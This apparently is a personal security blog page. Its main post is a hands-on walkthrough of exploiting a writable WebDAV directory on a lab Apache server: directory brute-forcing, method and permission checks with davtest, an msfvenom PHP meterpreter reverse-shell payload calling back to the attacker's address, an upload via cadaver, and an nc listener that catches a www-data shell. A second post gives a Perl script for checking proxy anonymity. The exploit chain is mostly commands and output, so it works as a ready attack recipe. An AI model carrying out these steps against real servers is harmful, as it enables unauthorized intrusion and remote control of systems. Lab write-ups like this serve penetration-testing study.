Friday, February 26, 2021

Exploiting Weak WEBDAV Configurations

The server we are going to audit has the following fingerprint. 

80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) DAV/2)

Next we need to find out the webdav directory. For this we will use the 'dirb' utility to look for the directory. 

root@kali:~# dirb http://192.168.155.142/ /usr/share/wordlists/dirb/common.txt

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Feb 26 19:05:28 2021
URL_BASE: http://192.168.155.142/
WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt

-----------------

GENERATED WORDS: 4612
---- Scanning URL: http://192.168.155.142/ ----
+ http://192.168.155.142/cgi-bin/ (CODE:403|SIZE:296)                     
==> DIRECTORY: http://192.168.155.142/dav/
+ http://192.168.155.142/index (CODE:200|SIZE:891)                        
+ http://192.168.155.142/index.php (CODE:200|SIZE:891)                    
+ http://192.168.155.142/phpinfo (CODE:200|SIZE:48107)                    
+ http://192.168.155.142/phpinfo.php (CODE:200|SIZE:48119)

dirb found the directory '/dav/' which we will use to test. We can use nmap again to find out all of the supported methods on the webdav directory using an nmap script. 

sam@kali:~$ nmap -p80 --script http-methods --script-args http-methods.test-all=true,http-methods.url-path='/dav/' 192.168.155.142
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-26 19:38 CST
Nmap scan report for 192.168.155.142
Host is up (0.00040s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-methods: 
|   Supported Methods: OPTIONS GET HEAD POST DELETE TRACE PROPFIND PROPPATCH COPY MOVE LOCK UNLOCK PUT CONNECT
|   Potentially risky methods: DELETE TRACE PROPFIND PROPPATCH COPY MOVE LOCK UNLOCK PUT CONNECT
|_  Path tested: /dav/

Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds
sam@kali:~$

As you can see we have access to methods like DELETE, COPY, MOVE and PUT at our disposal. What we want to do is upload a file to the server and get a reverse shell. For our next test we will use the utility 'davtest' to check the permissions we have on the server. 

sam@kali:~$ davtest -url http://192.168.155.142/dav -cleanup -quiet
                                                                                                                                                                     
/usr/bin/davtest Summary:                                                                                                                                            
Created: http://192.168.155.142/dav/DavTestDir_mJBJrXiU                                                                                                              
PUT File: http://192.168.155.142/dav/DavTestDir_mJBJrXiU/davtest_mJBJrXiU.pl                                                                                         
PUT File: http://192.168.155.142/dav/DavTestDir_mJBJrXiU/davtest_mJBJrXiU.jsp
PUT File: http://192.168.155.142/dav/DavTestDir_mJBJrXiU/davtest_mJBJrXiU.jhtml
PUT File: http://192.168.155.142/dav/DavTestDir_mJBJrXiU/davtest_mJBJrXiU.shtml
PUT File: http://192.168.155.142/dav/DavTestDir_mJBJrXiU/davtest_mJBJrXiU.asp
PUT File: http://192.168.155.142/dav/DavTestDir_mJBJrXiU/davtest_mJBJrXiU.aspx
PUT File: http://192.168.155.142/dav/DavTestDir_mJBJrXiU/davtest_mJBJrXiU.php
PUT File: http://192.168.155.142/dav/DavTestDir_mJBJrXiU/davtest_mJBJrXiU.cfm
PUT File: http://192.168.155.142/dav/DavTestDir_mJBJrXiU/davtest_mJBJrXiU.html
PUT File: http://192.168.155.142/dav/DavTestDir_mJBJrXiU/davtest_mJBJrXiU.cgi
PUT File: http://192.168.155.142/dav/DavTestDir_mJBJrXiU/davtest_mJBJrXiU.txt
Executes: http://192.168.155.142/dav/DavTestDir_mJBJrXiU/davtest_mJBJrXiU.php
Executes: http://192.168.155.142/dav/DavTestDir_mJBJrXiU/davtest_mJBJrXiU.html
Executes: http://192.168.155.142/dav/DavTestDir_mJBJrXiU/davtest_mJBJrXiU.txt
DELETED: http://192.168.155.142/dav/DavTestDir_mJBJrXiU

sam@kali:~$

davtest cam back with some intresting results. We where able to upload a wide range of files to the remote host, but if we look only three of those file types are we able to execute. The file type we are concerned with is the '.php' exstension. We can generate a reverse shell PHP payload with msfvenom to upload to the remote host. 

sam@kali:~$ msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.155.128 LPORT=8888 -f raw > payload.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 30691 bytes

sam@kali:~$

After we generate the payload, we move on to another tool we can use to upload the file to the remote host. The 'cadaver' tool allows us to connect to the webdav instance and gives us a bunch of commands to execute. The command we are interested in is the 'PUT' command. 

sam@kali:~$ cadaver http://192.168.155.142/dav
dav:/dav/> ?
Available commands: 
 ls         cd         pwd        put        get        mget       mput       
 edit       less       mkcol      cat        delete     rmcol      copy       
 move       lock       unlock     discover   steal      showlocks  version    
 checkin    checkout   uncheckout history    label      propnames  chexec     
 propget    propdel    propset    search     set        open       close      
 echo       quit       unset      lcd        lls        lpwd       logout     
 help       describe   about      
Aliases: rm=delete, mkdir=mkcol, mv=move, cp=copy, more=less, quit=exit=bye
dav:/dav/> put /home/sam/payload.php
Uploading /home/sam/payload.php to `/dav/payload.php':                                                                                                               
Progress: [=============================>] 100.0% of 30686 bytes succeeded.                                                                                          
dav:/dav/>

Our file uploaded sucessfully. Now we can move on to visiting the url 'http://192.168.155.142/dav/payload.php' and execute the payload giving us a reverse connect back shell on the box. 

sam@kali:~$ nc -nvlp 8888
Listening on [0.0.0.0] (family 0, port 8888)
Connection from 192.168.155.142 36422 received!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
at No comments:

Tuesday, February 16, 2021

HTTP Proxy Checker in Perl

Here is a simple HTTP proxy checker written in Perl. It tries to connect through the proxy to a proxy judge website to determine whether or not the proxy is anonymous.

#!/usr/bin/env perl
#####################################################
## HTTP Proxy Checker
##
## Usage: ./http_proxy_check.pl -f proxies.txt
##
## Proxy file format: IP:PORT^TYPE
##
## Author: Sam
#####################################################
use strict;
use warnings;
use Getopt::Std;
use LWP::UserAgent;

my @proxy_judge = (
    'http://httpheader.net/azenv.php',
    'http://mojeip.net.pl/asdfa/azenv.php',
    'http://faucet.luis.im/azenv.php',
    'http://www.sbjudge4.com/azenv.php',
    'http://www.wfuchs.de/azenv.php'
);

print <new(timeout => 10);

while (my $proxy = <$fh>) {
    chomp($proxy);
    
    my ($host, $type) = split(/\^/, $proxy);

    $type =~ s/\n//g;

    $user_agent->proxy(['http','https'] => "http://".$host."/");

    print "[*] Checking proxy: ".$host."\n";

    my $lag_start = time();
    my $response = $user_agent->get($proxy_judge[int(rand(@proxy_judge))]);

    my $anonymity;
    if ($response->is_success) {
    
        my $lag_end = time();
        
        my @headers = (
            'VIA',
            'X-FORWARDED-FOR',
            'X-FORWARDED',
            'FORWARDED-FOR',
            'FORWARDED-FOR-IP',
            'FORWARDED',
            'CLIENT-IP',
            'PROXY-CONNECTION' );

        foreach my $header (@headers) {
            if ($response->decoded_content =~ $header) {
                $anonymity = "None";
            } else {
                $anonymity = "Anonymous";
            }

        }

        print "[+] ".$host." // (".$response->status_line.") // Type: ".$type." // Anonymity Level: ".$anonymity." // Lag: ".($lag_end-$lag_start)."s\n";

    } else {
        print "[-] ".$host." // (CONNECT ERROR)\n";
    }
    
    sleep 1;

}

When we run the script, we get the following result:

C:\Users\Sam\Desktop\Code\proxy>perl proxy.pl -f proxies.txt
****************************************
*                                      *
*          HTTP Proxy Checker          *
*                                      *
* ./http_proxy_check.pl -f proxies.txt *
*                                      *
****************************************
[*] Checking proxy: 122.155.165.191:3128
[+] 122.155.165.191:3128 // (200 OK) // Type: HTTPS // Anonymity Level: Anonymous // Lag: 1s
[*] Checking proxy: 122.50.5.148:10000
[+] 122.50.5.148:10000 // (200 OK) // Type: HTTP // Anonymity Level: Anonymous // Lag: 3s
[*] Checking proxy: 122.58.118.224:8080
[-] 122.58.118.224:8080 // (CONNECT ERROR)
[*] Checking proxy: 128.199.218.83:8080
[+] 128.199.218.83:8080 // (200 OK) // Type: HTTPS // Anonymity Level: Anonymous // Lag: 1s
[*] Checking proxy: 150.109.148.159:8888
[+] 150.109.148.159:8888 // (200 OK) // Type: HTTP // Anonymity Level: Anonymous // Lag: 1s
[*] Checking proxy: 182.52.131.40:8080
[+] 182.52.131.40:8080 // (200 OK) // Type: HTTPS // Anonymity Level: Anonymous // Lag: 2s
[*] Checking proxy: 183.182.101.32:30531
[-] 183.182.101.32:30531 // (CONNECT ERROR)
[*] Checking proxy: 186.149.103.227:999
[+] 186.149.103.227:999 // (200 OK) // Type: HTTP // Anonymity Level: Anonymous // Lag: 12s
[*] Checking proxy: 186.251.94.166:8080
[-] 186.251.94.166:8080 // (CONNECT ERROR)
[*] Checking proxy: 188.166.216.203:8080
[+] 188.166.216.203:8080 // (200 OK) // Type: HTTPS // Anonymity Level: Anonymous // Lag: 1s
[*] Checking proxy: 192.109.165.129:80
[+] 192.109.165.129:80 // (200 OK) // Type: HTTP // Anonymity Level: Anonymous // Lag: 0s

C:\Users\Sam\Desktop\Code\proxy>
at No comments:
Subscribe to: Posts (Atom)

Exploiting Weak WEBDAV Configurations

The server we are going to audit has the following fingerprint. 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) Next we need t...

  • Enumerating SNMP Servers with NMAP
    NMAP gives you the ability to use scripts to enumerate and exploit remote host with the use of the NMAP Scripting Engine. Today we will be ...
  • Enumerating SMTP Servers with NMAP
    NMAP gives you the ability to enumerate SMTP service with some scripts from the NMAP Scripting Enigne. These scripts will produce some gene...
  • Exploring POP3 Servers
    Scanning the remote host We can use NMAP to scan the remote host and run enumeration scripts against the POP3 server. root@asus:~/unix% ...
  • Testing LDAP servers with examples
    Today we are going to be attacking the remote service LDAP. The only thing we need is an IP Address so lets ping our host to verify its up ...
  • Enumerating UNIX usernames
    Sometimes you may come across a situation where all you have from your OSINT phase is a list of first and last names. you can use pre-built...
  • Reading local files with XXE attacks
    Today we will be exploring XXE XML External Entity Attacks. A XXE attack is a attack that is brought against an application that deals with...
  • Attacking NFS
    This is our data set we will work from which was gathered during the OSINT phase from the company website: http://www.acme.com k.madden@m...
  • Exploring IMAP Servers
    Scanning the Remote Host We can use NMAP to scan the remote IMAP server and run enumeration scripts agaisnt it to see what all the server i...
  • Exploiting Weak WEBDAV Configurations
    The server we are going to audit has the following fingerprint. 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) Next we need t...
  • VulnHub: RickdiculouslyEasy Walkthrough
    Lets first start off with a nmap scan of the remote host. root@ubuntu:~# nmap -p0-65355 -sV -O -sC -T5 192.168.0.48 Starting Nmap 7.60 (...